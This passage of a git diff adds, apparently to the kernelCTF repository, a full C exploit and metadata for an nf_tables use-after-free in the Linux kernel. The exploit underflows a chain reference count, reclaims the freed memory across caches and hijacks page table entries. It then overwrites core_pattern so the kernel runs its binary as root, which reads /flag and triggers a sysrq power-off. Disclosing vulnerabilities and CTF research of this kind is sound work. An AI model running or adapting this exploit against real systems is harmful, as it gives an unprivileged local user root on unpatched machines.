sockaddr_un probe_addr; + socklen_t probe_len; + int uaf_idx = -1; + void *mmap_base; + uintptr_t found_pte = 0; + int pte_pipe_idx = -1; + int pte_fd[2]; + uintptr_t remap_va = 0; + + setvbuf(stdin, 0, 2, 0); + setvbuf(stdout, 0, 2, 0); + setvbuf(stderr, 0, 2, 0); + + bool vuln_trigger = false; + for (int i = 1; i < argc; i++) + if (strcmp(argv[i], "--vuln-trigger") == 0) + vuln_trigger = true; + + /* ── vuln-trigger mode: trigger bug + UAF for KASAN, then exit ── */ + if (vuln_trigger) { + unshare_setup(getuid(), getgid()); + pin_cpu(0); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (!nl) err(1, "mnl_socket_open"); + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) + err(1, "mnl_socket_bind"); + portid = mnl_socket_get_portid(nl); + { + int fd = mnl_socket_get_fd(nl); + struct timeval tv = {0, 10000}; + setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + } + + /* Create table + base chain + verdict map + target chain */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_add_table(b, &seq, FAM, TAB); + nft_add_chain(b, &seq, FAM, TAB, BCH, true); + nft_add_vmap(b, &seq, FAM, TAB, VMAP, VMID); + nft_add_chain(b, &seq, FAM, TAB, TCH, false); + NL_END(b, &seq); + if (nl_send(b) < 0) return 1; + } + + /* Add catchall + lookup */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); + nft_add_lookup(b, &seq, FAM, TAB, BCH, VMAP, VMID); + NL_END(b, &seq); + if (nl_send(b) < 0) return 1; + } + + /* Trigger: abort batch underflows chain->use to 0 */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_del_rules(b, &seq, FAM, TAB, BCH); + nft_del_catchall(b, &seq, FAM, TAB, VMAP); + nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); + nft_del_set(b, &seq, FAM, TAB, VMAP); + nft_add_fail(b, &seq, FAM, TAB); + NL_END(b, &seq); + nl_send(b); + } + + /* DELCHAIN succeeds because chain->use == 0 */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_del_chain(b, &seq, FAM, TAB, TCH); + NL_END(b, &seq); + nl_send(b); + } + + /* del_table: UAF write on freed chain — KASAN detects this */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_del_table(b, &seq, FAM, TAB); + NL_END(b, &seq); + nl_send(b); + } + + OK("vuln-trigger done"); + return 0; + } + + /* ── Root shell re-entry (executed by kernel via core_pattern) ── */ + if (argc > 2) { + int target_pid = strtoull(argv[1], 0, 10); + int pidfd = syscall(SYS_pidfd_open, target_pid, 0); + dup2(syscall(SYS_pidfd_getfd, pidfd, 0, 0), 0); + dup2(syscall(SYS_pidfd_getfd, pidfd, 1, 0), 1); + dup2(syscall(SYS_pidfd_getfd, pidfd, 2, 0), 2); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("cat /flag"); + system("id"); + system("echo o > /proc/sysrq-trigger"); + return 0; + } + + /* ── kernelXDK target detection ── */ + TargetDb kxdb("target_db.kxdb", target_db); + + { + Target st("kernelctf", "cos-121-18867.381.30"); + st.AddSymbol("core_pattern", 0x3fb32a0); + st.AddStruct("unix_address", 8, {}); + kxdb.AddTarget(st); + } + + auto target = kxdb.AutoDetectTarget(); + LOG("Running on target: %s %s", + target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + g_msg_msg_hdr_size = target.GetStructSize("msg_msg"); + g_bind_len = 0x10 - (int)target.GetStructSize("unix_address"); + g_core_pattern_phys = target.GetSymbolOffset("core_pattern"); + LOG("msg_msg_hdr_size=%zu unix_address_size=%lu bind_len=%d core_pattern_phys=0x%lx", + g_msg_msg_hdr_size, target.GetStructSize("unix_address"), + g_bind_len, g_core_pattern_phys); + + /* ── Retry loop: fork child per attempt for clean namespace ── */ + for (int att = 1; att <= 5; att++) { + pid_t child = fork(); + if (child < 0) return 1; + if (child > 0) { + int st; waitpid(child, &st, 0); + if (WIFEXITED(st) && WEXITSTATUS(st) == 0) { + OK("attempt %d succeeded", att); + for(;;) sched_yield(); + } + BAD("attempt %d failed", att); + continue; + } + break; /* child continues */ + } + + /* ── Namespace + resource setup ── */ + unshare_setup(getuid(), getgid()); + { + struct rlimit rl; + if (!getrlimit(RLIMIT_NOFILE, &rl)) { + rl.rlim_cur = rl.rlim_max; + setrlimit(RLIMIT_NOFILE, &rl); + } + } + pin_cpu(0); /* pin to CPU 0 for consistent pcplist LIFO ordering */ + setup_fd666(); + + /* Open netlink socket with short recv timeout */ + nl = mnl_socket_open(NETLINK_NETFILTER); + if (!nl) err(1, "mnl_socket_open"); + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) + err(1, "mnl_socket_bind"); + portid = mnl_socket_get_portid(nl); + { + int fd = mnl_socket_get_fd(nl); + struct timeval tv = {0, 10000}; /* 10ms */ + setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + } + + /* Clean up any leftover nft state from a previous attempt */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); nft_del_table(b, &seq, FAM, TAB); NL_END(b, &seq); + nl_send(b); + } + + /* ── Phase 0: Allocate all spray arrays ── */ + + init_msgq(defrag_mq, DEFRAG_MSG_SZ); + init_sock(defrag_sk, DEFRAG_SOCK_SZ); + init_msgq(cc_mq1, CC_MSG_SZ); + init_msgq(cc_mq2, CC_MSG_SZ); + init_sock(srv_sk, RECLAIM_SOCK_SZ); + init_sock(cli_sk, RECLAIM_SOCK_SZ); + for (int i = 0; i < PIPE_SZ; i++) + pipe2(pipes[i], O_NONBLOCK); + memset(msg_data, 0, sizeof(msg_data)); + /* Pre-fill pipe data with int=1 pattern. After PTE spray, any pipe + * whose data changed to something != 1 overlaps with a PTE page. */ + { + int *fill = (int *)pipe_data; + for (int i = 0; i < (int)(sizeof(pipe_data) / sizeof(int)); i++) + fill[i] = 1; + } + + /* ── Phase 1: Create nftables objects ── + * + * Strategy: sandwich the target_chain allocation between msg_msg + * sprays in kmalloc-cg-128 so the chain lands on a slab page + * surrounded only by our msg_msg objects. This ensures the page + * can be fully emptied later for cross-cache reclaim. */ + + LOG("Phase 1: nft setup"); + + /* Fill partial kmalloc-cg-128 slabs so chain goes to a fresh page */ + spray_msg(defrag_mq, DEFRAG_MSG_SZ, MSG_MSG_SIZE, msg_data, 1); + + /* Create table + base chain + verdict map */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_add_table(b, &seq, FAM, TAB); + nft_add_chain(b, &seq, FAM, TAB, BCH, true); + nft_add_vmap(b, &seq, FAM, TAB, VMAP, VMID); + NL_END(b, &seq); + if (nl_send(b) < 0) goto fail; + } + + /* Spray msg_msg -> create target chain -> spray more msg_msg. + * The chain allocation is sandwiched between msg_msg objects. */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_add_chain(b, &seq, FAM, TAB, TCH, false); + NL_END(b, &seq); + spray_msg(cc_mq1, CC_MSG_SZ, MSG_MSG_SIZE, msg_data, 2); + if (nl_send(b) < 0) goto fail; + spray_msg(cc_mq2, CC_MSG_SZ, MSG_MSG_SIZE, msg_data, 2); + } + + /* Add catchall element (goto target_chain) + lookup rule */ + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); + nft_add_lookup(b, &seq, FAM, TAB, BCH, VMAP, VMID); + NL_END(b, &seq); + if (nl_send(b) < 0) goto fail; + } + + /* ── Phase 2: Pre-stage cross-cache reclaim ── + * + * Prepare everything BEFORE triggering the bug so that after + * DELCHAIN, the reclaim spray fires immediately (LIFO pcplist + * ordering means the just-freed chain page is grabbed first). */ + + LOG("Phase 2: prepare reclaim"); + + /* Pre-build DELCHAIN batch (don't send yet) */ + delchain_batch = mnl_nlmsg_batch_start(delchain_nlbuf, sizeof(delchain_nlbuf)); + NL_BEGIN(delchain_batch, &seq); + nft_del_chain(delchain_batch, &seq, FAM, TAB, TCH); + NL_END(delchain_batch, &seq); + + /* Bind defrag sockets (kmalloc-16) to fill partial slabs. + * Uses names without MAGIC to avoid colliding with reclaim sockets. */ + { + struct sockaddr_un addr = {.sun_family = AF_UNIX}; + for (int i = 0; i < DEFRAG_SOCK_SZ; i++) { + *(size_t *)(&addr.sun_path[1]) = i + 1; + bind(defrag_sk[i], (struct sockaddr *)&addr, g_bind_len); + } + } + + /* Free msg_msg around the chain -> slab page mostly empty */ + release_msg(cc_mq1, CC_MSG_SZ); + release_msg(cc_mq2, CC_MSG_SZ); + sched_yield(); /* let SLUB drain freed pages to buddy */ + + /* ── Phase 3: Trigger the break-statement bug ── + * + * Batch: DELRULE + DELSETELEM(old catchall) + NEWSETELEM(new catchall) + * + DELSET + NEWRULE(bad chain -> forces abort) + * + * During prepare: both catchalls processed, chain->use decremented twice. + * During abort: break skips re-activation of second catchall. + * Result: chain->use = 0 while the catchall still references the chain. */ + + LOG("Phase 3: trigger bug"); + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_del_rules(b, &seq, FAM, TAB, BCH); + nft_del_catchall(b, &seq, FAM, TAB, VMAP); + nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); + nft_del_set(b, &seq, FAM, TAB, VMAP); + nft_add_fail(b, &seq, FAM, TAB); + NL_END(b, &seq); + if (nl_send(b) != -2) /* -2 = ENOENT from the bad chain */ + _exit(1); + } + + /* ── Phase 4: DELCHAIN + immediate cross-cache reclaim ── + * + * DELCHAIN succeeds because chain->use == 0. The freed chain page + * goes to buddy. We immediately spray unix_address (kmalloc-16) bind + * calls to reclaim the page before anything else can. */ + + LOG("Phase 4: DELCHAIN + reclaim"); + sched_yield(); + ret = nl_send(delchain_batch); + + /* Immediately reclaim with unix_address objects (kmalloc-16) */ + { + struct sockaddr_un addr = {.sun_family = AF_UNIX}; + for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + *(size_t *)(&addr.sun_path[1]) = (size_t)(i + 1) + MAGIC; + bind(srv_sk[i], (struct sockaddr *)&addr, g_bind_len); + } + } + if (ret != 0) { BAD("DELCHAIN failed: %d", ret); _exit(1); } + OK("DELCHAIN + reclaim done"); + + /* Set up connected socket pairs for probing — batch each phase */ + for (int i = 0; i < RECLAIM_SOCK_SZ; i++) + listen(srv_sk[i], 2); + { + struct sockaddr_un addr = {.sun_family = AF_UNIX}; + for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + *(size_t *)(&addr.sun_path[1]) = (size_t)(i + 1) + MAGIC; + connect(cli_sk[i], (struct sockaddr *)&addr, g_bind_len); + } + } + for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + int a = accept(srv_sk[i], NULL, NULL); + if (a >= 0) close(a); + } + + /* ── Phase 5: del_table -> UAF write at chain+0x50 ── + * + * del_table -> nft_flush_table -> nft_map_catchall_deactivate + * -> nft_setelem_data_deactivate -> nft_verdict_uninit + * -> nft_use_dec(&chain->use) + * + * chain is freed, so this is a UAF write. With kmalloc-16 reclaim, + * it hits the refcnt field of a unix_address, decrementing 1 -> 0. */ + + LOG("Phase 5: del_table UAF write"); + { + struct mnl_nlmsg_batch *b = mnl_nlmsg_batch_start(nlbuf, sizeof(nlbuf)); + NL_BEGIN(b, &seq); + nft_del_table(b, &seq, FAM, TAB); + NL_END(b, &seq); + nl_send(b); + } + + /* ── Phase 6: Probe + PTE spray ── + * + * 1. Close clients, probe servers via getsockname (may detect corruption) + * 2. Close all NON-UAF server sockets -> free slab pages to buddy + * 3. Write to pipes -> pipe data pages allocated from buddy + * 4. Close UAF server socket LAST -> its page freed to buddy + * 5. Touch mmap at 2MB intervals -> PTE pages allocated from buddy + * 6. Read pipes -> if pipe data != 1, that pipe's page IS a PTE page */ + + LOG("Phase 6: PTE spray"); + + /* Close clients one-by-one and probe servers for corruption. + * The sequential close + getsockname pattern is required for + * reliable cross-cache detection. */ + uaf_idx = -1; + for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + if (uaf_idx >= 0) { close(cli_sk[i]); continue; } + close(cli_sk[i]); + probe_len = sizeof(probe_addr); + if (getsockname(srv_sk[i], (struct sockaddr *)&probe_addr, &probe_len) < 0) + continue; + if (*(uintptr_t *)(&probe_addr.sun_path[1]) - MAGIC != (uintptr_t)(i + 1)) { + HIT("UAF at socket %d", i); + uaf_idx = i; + } + } + if (uaf_idx < 0) { + uaf_idx = RECLAIM_SOCK_SZ - 1; + LOG("fallback socket %d", uaf_idx); + } + + /* Close non-UAF sockets and defrag sockets -> slab pages to buddy */ + for (int i = 0; i < RECLAIM_SOCK_SZ; i++) + if (i != uaf_idx) close(srv_sk[i]); + for (int i = 0; i < DEFRAG_SOCK_SZ; i++) + close(defrag_sk[i]); + sched_yield(); + + /* Write to pipes (pipe pages grab freed slab pages from buddy) */ + for (int i = 0; i < PIPE_SZ; i++) + write(pipes[i][1], pipe_data, PG_SIZE); + + /* Setup mmap region for PTE spray targets */ + mmap_base = mmap((void *)MMAP_ADDR, MMAP_SZ, + PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0); + madvise(mmap_base, MMAP_SZ, MADV_NOHUGEPAGE); + + /* Close UAF socket LAST -> its page freed to buddy after pipes */ + sched_yield(); + close(srv_sk[uaf_idx]); + sched_yield(); + + /* Touch one page per 2MB region -> allocate PTE pages from buddy */ + for (int i = 0; i < PT_SZ; i++) + *(uintptr_t *)((uintptr_t)mmap_base + MMAP_GAP * i) = (uintptr_t)(i + 1); + + /* Scan pipes: find one whose data page is now a PTE page */ + found_pte = 0; + pte_pipe_idx = -1; + for (int i = 0; i < PIPE_SZ; i++) { + read(pipes[i][0], tmp_buf, PG_SIZE); + if (*(int *)tmp_buf != 1) { + found_pte = *(uintptr_t *)tmp_buf; + HIT("PTE in pipe %d: 0x%lx", i, found_pte); + pte_pipe_idx = i; + + /* Shift PTE back 4 pages to create an observable remap */ + *(uintptr_t *)tmp_buf = found_pte - 0x4000; + write(pipes[i][1], tmp_buf, PG_SIZE); + flush_tlb(mmap_base, MMAP_SZ); + break; + } + } + if (pte_pipe_idx < 0) { BAD("PTE spray failed"); _exit(1); } + + /* Find which mmap slot was remapped (its value changed) */ + pte_fd[0] = pipes[pte_pipe_idx][0]; + pte_fd[1] = pipes[pte_pipe_idx][1]; + remap_va = 0; + for (int i = 0; i < PT_SZ; i++) { + uintptr_t val = *(uintptr_t *)((uintptr_t)mmap_base + MMAP_GAP * i); + if (val != (uintptr_t)(i + 1)) { + remap_va = (uintptr_t)mmap_base + MMAP_GAP * i; + break; + } + } + if (!remap_va) { BAD("remapped VA not found"); _exit(1); } + OK("PTE control at VA %p", (void *)remap_va); + + /* ── Phase 7: Find and overwrite core_pattern ── + * + * Slide through physical memory in 16MB steps until we find the + * "core\0" string at the known page offset. Then overwrite it + * with our core_pattern payload that executes fd 666 as root. */ + + LOG("Phase 7: core_pattern search"); + for (int slide = 0; ; slide++) { + uintptr_t phys = (g_core_pattern_phys & ~0xfffUL) + + (uintptr_t)slide * 0x1000000UL; + + aar(pte_fd, tmp_buf, phys, (void *)remap_va, PG_SIZE); + + /* Check in tmp_buf (safely copied by aar), not the live VA */ + char *check = tmp_buf + (g_core_pattern_phys & 0xfff); + if (memcmp(check, "core\0", 5) == 0) { + HIT("core_pattern at slide %d (phys 0x%lx)", slide, phys); + + /* Write payload through the live remapped VA */ + char *live = (char *)(remap_va + (g_core_pattern_phys & 0xfff)); + strcpy(live, "|/proc/%P/fd/666 %P %P"); + + /* Unmap to prevent kernel from walking corrupted PTEs on exit */ + munmap(mmap_base, MMAP_SZ); + break; + } + } + OK("core_pattern overwritten"); + + /* ── Phase 8: Trigger root shell ── + * + * Fork a child that crashes (NULL deref). The kernel's core dump + * handler executes our binary (fd 666) as root via the overwritten + * core_pattern. That binary re-enters main() with argc > 2, + * reads /flag, and prints it. */ + + if (fork() == 0) { + pin_cpu(1); + /* Wait for core_pattern change to propagate */ + for (int i = 0; i < 30 && !check_core(); i++) + usleep(50000); + *(volatile size_t *)0 = 0; /* crash -> core dump -> root */ + _exit(1); + } + for(;;) sched_yield(); + _exit(0); + +fail: + _exit(1); +} + diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-23278_cos/metadata.json new file mode 100644 index 000000000..927db51f3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23278_cos/metadata.json @@ -0,0 +1,33 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp462" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7cb9a23d7ae40a702577d3d8bacb7026f04ac2a9", + "cve":"CVE-2026-23278", + "affected_versions":[ + "6.4-rc1 - 7.0-rc3" + ], + "requirements":{ + "attack_surface":[ + "userns" + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "cos-121-18867.381.30": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes":"Cross-cache reclaim succeeds ~90% of the time. Post-reclaim (PTE spray + core_pattern overwrite + execution) succeeds ~90% of the time. Overall ~80% success rate." + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-23278_cos/original.tar.gz new file mode 100644 index 000000000..3848ce2af Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23278_cos/original.tar.gz differ